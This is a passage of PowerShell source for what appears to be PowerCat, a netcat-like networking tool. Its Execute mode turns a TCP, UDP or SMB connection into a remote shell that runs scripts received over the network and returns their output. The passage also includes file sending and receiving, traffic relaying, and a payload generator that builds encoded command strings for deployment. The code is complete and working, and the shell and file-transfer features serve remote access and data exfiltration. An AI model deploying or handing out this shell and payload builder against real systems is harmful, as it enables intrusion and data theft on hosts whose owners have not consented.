$EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String)) 238 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } } 239 | } 240 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 241 | Write-NetworkStream $Mode $ServerStream $BytesToSend 242 | $ScriptBlock = $null 243 | $BytesToSend = $null 244 | } 245 | } 246 | 247 | [console]::TreatControlCAsInput = $true 248 | 249 | while ($true) { 250 | if ($PSCmdlet.ParameterSetName -eq 'SendFile') { break } 251 | if ($Disconnect.IsPresent) { break } # goto Cleanup 252 | 253 | # Catch Esc / Read-Host 254 | if ([console]::KeyAvailable) { 255 | $Key = [console]::ReadKey() 256 | if ($Key.Key -eq [Consolekey]::Escape) { 257 | Write-Verbose 'Caught escape sequence, stopping PowerCat.' 258 | break 259 | } 260 | if ($PSCmdlet.ParameterSetName -eq 'Console') { 261 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n") 262 | Write-NetworkStream $Mode $ServerStream $BytesToSend 263 | } 264 | } 265 | 266 | # Get data from the network 267 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null } 268 | elseif ($ServerStream.Socket.Connected -or $ServerStream.Pipe.IsConnected) { 269 | if ($ServerStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ServerStream } 270 | else { Start-Sleep -Milliseconds 1 ; continue } 271 | } 272 | else { Write-Verbose "$Mode connection broken, exiting." ; break } 273 | 274 | # Redirect received bytes 275 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 276 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) } 277 | catch { break } # network stream closed 278 | 279 | $Global:Error.Clear() 280 | 281 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String)) 282 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } 283 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 284 | 285 | Write-NetworkStream $Mode $ServerStream $BytesToSend 286 | $BytesToSend = $null 287 | $ScriptBlock = $null 288 | continue 289 | } 290 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue } 291 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { 292 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) } 293 | catch { break } # EOF reached 294 | continue 295 | } 296 | else { # Console 297 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") } 298 | catch { break } # network stream closed 299 | } 300 | } 301 | 302 | # Cleanup 303 | Write-Host "`n" 304 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() } 305 | 306 | try { Close-NetworkStream $Mode $ServerStream } 307 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" } 308 | 309 | if ($PSCmdlet.ParameterSetName -eq 'Relay') { 310 | try { Close-NetworkStream $RelayMode $RelayStream } 311 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" } 312 | } 313 | [console]::TreatControlCAsInput = $false 314 | if (!$ParameterDictionary.KeepAlive.IsSet) { break } 315 | } 316 | } 317 | End {} 318 | '@ 319 | $ConnectPowerCat = @' 320 | [CmdletBinding(DefaultParameterSetName = 'Console')] 321 | Param ( 322 | [Parameter(Position = 0)] 323 | [Alias('m')] 324 | [ValidateSet('Smb', 'Tcp', 'Udp')] 325 | [String]$Mode = 'Tcp', 326 | 327 | [Parameter(Position = 1, Mandatory = $true)] 328 | [String]$RemoteIp, 329 | 330 | [Parameter(ParameterSetName = 'Execute')] 331 | [Alias('e')] 332 | [Switch]$Execute, 333 | 334 | [Parameter(ParameterSetName = 'Relay')] 335 | [Alias('r')] 336 | [String]$Relay, 337 | 338 | [Parameter(ParameterSetName = 'ReceiveFile')] 339 | [Alias('rf')] 340 | [String]$ReceiveFile, 341 | 342 | [Parameter(ParameterSetName = 'SendFile')] 343 | [Alias('sf')] 344 | [String]$SendFile, 345 | 346 | [Parameter(ParameterSetName = 'Input')] 347 | [Alias('i')] 348 | [String]$Input, 349 | 350 | [Parameter()] 351 | [Alias('d')] 352 | [Switch]$Disconnect, 353 | 354 | [Parameter()] 355 | [Alias('t')] 356 | [Int]$Timeout = 60, 357 | 358 | [Parameter()] 359 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 360 | [String]$Encoding = 'Ascii' 361 | ) 362 | DynamicParam { 363 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 364 | 365 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 366 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 367 | 368 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 369 | 370 | if ($Execute.IsPresent) { 371 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 372 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 373 | } 374 | return $ParameterDictionary 375 | } 376 | Begin { 377 | if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 378 | Write-Warning "$RemoteIp is not a valid IPv4 address." 379 | return 380 | } 381 | $ServerIp = [Net.IPAddress]::Parse($RemoteIp) 382 | 383 | switch ($Mode) { 384 | 'Smb' { 385 | try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout } 386 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return } 387 | continue 388 | } 389 | 'Tcp' { 390 | try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout } 391 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return } 392 | continue 393 | } 394 | 'Udp' { 395 | try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout } 396 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return } 397 | } 398 | } 399 | switch ($Encoding) { 400 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue } 401 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue } 402 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue } 403 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue } 404 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue } 405 | } 406 | 407 | if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) } 408 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) } 409 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { 410 | 411 | Write-Verbose "Attempting to send $SendFile" 412 | 413 | if ((Test-Path $SendFile)) { 414 | 415 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) } 416 | catch { Write-Warning $_.Exception.Message } 417 | 418 | if ($BytesLeft = $FileStream.Length) { # goto cleanup 419 | 420 | $FileOffset = 0 421 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat 422 | 423 | $BytesToSend = New-Object Byte[] 4608 424 | 425 | while ($BytesLeft -gt 4608) { 426 | 427 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 428 | [void]$FileStream.Read($BytesToSend, 0, 4608) 429 | 430 | $FileOffset += 4608 431 | $BytesLeft -= 4608 432 | 433 | Write-NetworkStream $Mode $ClientStream $BytesToSend 434 | } 435 | # Send last packet 436 | $BytesToSend = New-Object Byte[] $BytesLeft 437 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 438 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 439 | 440 | Write-NetworkStream $Mode $ClientStream $BytesToSend 441 | } 442 | else { # Only need to send one packet 443 | $BytesToSend = New-Object Byte[] $BytesLeft 444 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 445 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 446 | 447 | Write-NetworkStream $Mode $ClientStream $BytesToSend 448 | } 449 | $FileStream.Flush() 450 | $FileStream.Dispose() 451 | } 452 | if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() } 453 | if ($Mode -eq 'Tcp') { sleep 1 } 454 | } 455 | else { Write-Warning "$SendFile does not exist." } 456 | } 457 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { 458 | 459 | Write-Verbose "Setting up relay stream..." 460 | 461 | $RelayConfig = $Relay.Split(':') 462 | $RelayMode = $RelayConfig[0].ToLower() 463 | 464 | if ($RelayConfig.Count -eq 2) { # Listener 465 | switch ($RelayMode) { 466 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue } 467 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue } 468 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue } 469 | default { Write-Warning 'Invalid relay mode specified.' ; return } 470 | } 471 | } 472 | elseif ($RelayConfig.Count -eq 3) { # Client 473 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 474 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1]) 475 | switch ($RelayMode) { 476 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue } 477 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue } 478 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue } 479 | default { Write-Warning 'Invalid relay mode specified.' ; return } 480 | } 481 | } 482 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." } 483 | } 484 | else { Write-Warning 'Invalid relay format.' } 485 | } 486 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') { 487 | if ($ClientStream) { 488 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n") 489 | 490 | if ($ParameterDictionary.ScriptBlock.Value) { 491 | 492 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value 493 | 494 | $Global:Error.Clear() 495 | 496 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String)) 497 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } } 498 | } 499 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 500 | Write-NetworkStream $Mode $ClientStream $BytesToSend 501 | $ScriptBlock = $null 502 | $BytesToSend = $null 503 | } 504 | } 505 | } 506 | Process { 507 | [console]::TreatControlCAsInput = $true 508 | 509 | while ($true) { 510 | 511 | if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup 512 | 513 | # Catch Esc / Read-Host 514 | if ([console]::KeyAvailable) { 515 | $Key = [console]::ReadKey() 516 | if ($Key.Key -eq [Consolekey]::Escape) { 517 | Write-Verbose 'Caught escape sequence, stopping PowerCat.' 518 | break 519 | } 520 | if ($PSCmdlet.ParameterSetName -eq 'Console') { 521 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n") 522 | Write-NetworkStream $Mode $ClientStream $BytesToSend 523 | } 524 | } 525 | 526 | # Get data from the network 527 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null } 528 | elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) { 529 | if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream } 530 | else { Start-Sleep -Milliseconds 1 ; continue } 531 | } 532 | else { Write-Verbose "$Mode connection broken, exiting." ; break } 533 | 534 | # Redirect received bytes 535 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 536 | 537 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) } 538 | catch { break } # network stream closed 539 | 540 | $Global:Error.Clear() 541 | 542 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String)) 543 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } 544 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 545 | 546 | Write-NetworkStream $Mode $ClientStream $BytesToSend 547 | $BytesToSend = $null 548 | $ScriptBlock = $null 549 | continue 550 | } 551 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue } 552 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { 553 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) } 554 | catch { break } # EOF reached 555 | continue 556 | } 557 | else { # Console 558 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") } 559 | catch { break } # network stream closed 560 | } 561 | } 562 | } 563 | End { # Cleanup 564 | Write-Host "`n" 565 | 566 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() } 567 | 568 | try { Close-NetworkStream $Mode $ClientStream } 569 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" } 570 | 571 | if ($PSCmdlet.ParameterSetName -eq 'Relay') { 572 | try { Close-NetworkStream $RelayMode $RelayStream } 573 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" } 574 | } 575 | [console]::TreatControlCAsInput = $false 576 | } 577 | '@ 578 | $PayloadString = 'function New-RuntimeParameter {' + ${function:New-RuntimeParameter} + '}' 579 | $PayloadString += 'function Test-Port {' + ${function:Test-Port} + '}' 580 | if ($ParameterDictionary.SslCn.Value) { $PayloadString += 'function New-X509Certificate {' + ${function:New-X509Certificate} + '}' } 581 | switch ($Mode) { 582 | 'Smb' { $PayloadString += 'function New-SmbStream {' + ${function:New-SmbStream} + '}' } 583 | 'Tcp' { $PayloadString += 'function New-TcpStream {' + ${function:New-TcpStream} + '}' } 584 | 'Udp' { $PayloadString += 'function New-UdpStream {' + ${function:New-UdpStream} + '}' } 585 | } 586 | $PayloadString += 'function Write-NetworkStream {' + ${function:Write-NetworkStream} + '}' 587 | $PayloadString += 'function Read-NetworkStream {' + ${function:Read-NetworkStream} + '}' 588 | $PayloadString += 'function Close-NetworkStream {' + ${function:Close-NetworkStream} + '}' 589 | if ($Listener.IsPresent) { 590 | $PayloadString += 'function Start-PowerCat {' + $StartPowerCat + "}`n" 591 | $PayloadString += "Start-PowerCat $Mode $($ParameterDictionary.Port.Value) $($ParameterDictionary.PipeName.Value)" 592 | } 593 | else { 594 | $PayloadString += 'function Connect-PowerCat {' + $ConnectPowerCat + "}`n" 595 | $PayloadString += "Connect-PowerCat $Mode $($ParameterDictionary.RemoteIp.Value) $($ParameterDictionary.Port.Value) $($ParameterDictionary.PipeName.Value)" 596 | } 597 | } 598 | Process { 599 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 600 | $PayloadString += ' -Execute' 601 | if ($ParameterDictionary.ScriptBlock.Value) { $PayloadString += " -ScriptBlock $($ParameterDictionary.ScriptBlock.Value)" } 602 | if ($ParameterDictionary.ArgumentList.Value) { $PayloadString += " -ArgumentList $($ParameterDictionary.ArgumentList.Value)" } 603 | } 604 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { $PayloadString += " -Relay $Relay" } 605 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { $PayloadString += " -SendFile $SendFile" } 606 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $PayloadString += " -ReceiveFile $ReceiveFile" } 607 | if ($ParameterDictionary.KeepAlive.IsSet) { $PayloadString += ' -KeepAlive' } 608 | elseif ($Disconnect.IsPresent) { $PayloadString += ' -Disconnect' } 609 | if ($PSBoundParameters.Timeout) { $PayloadString += " -Timeout $Timeout" } 610 | if ($PSBoundParameters.Encoding) { $PayloadString += " -Encoding $Encoding" } 611 | if ($ParameterDictionary.SslCn.Value) { $PayloadString += " -SslCn $($ParameterDictionary.SslCn.Value)" } 612 | 613 | $ScriptBlock = [ScriptBlock]::Create($PayloadString) 614 | 615 | Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $ScriptBlock 616 | } 617 | End {} 618 | } 619 | --------------------------------------------------------------------------------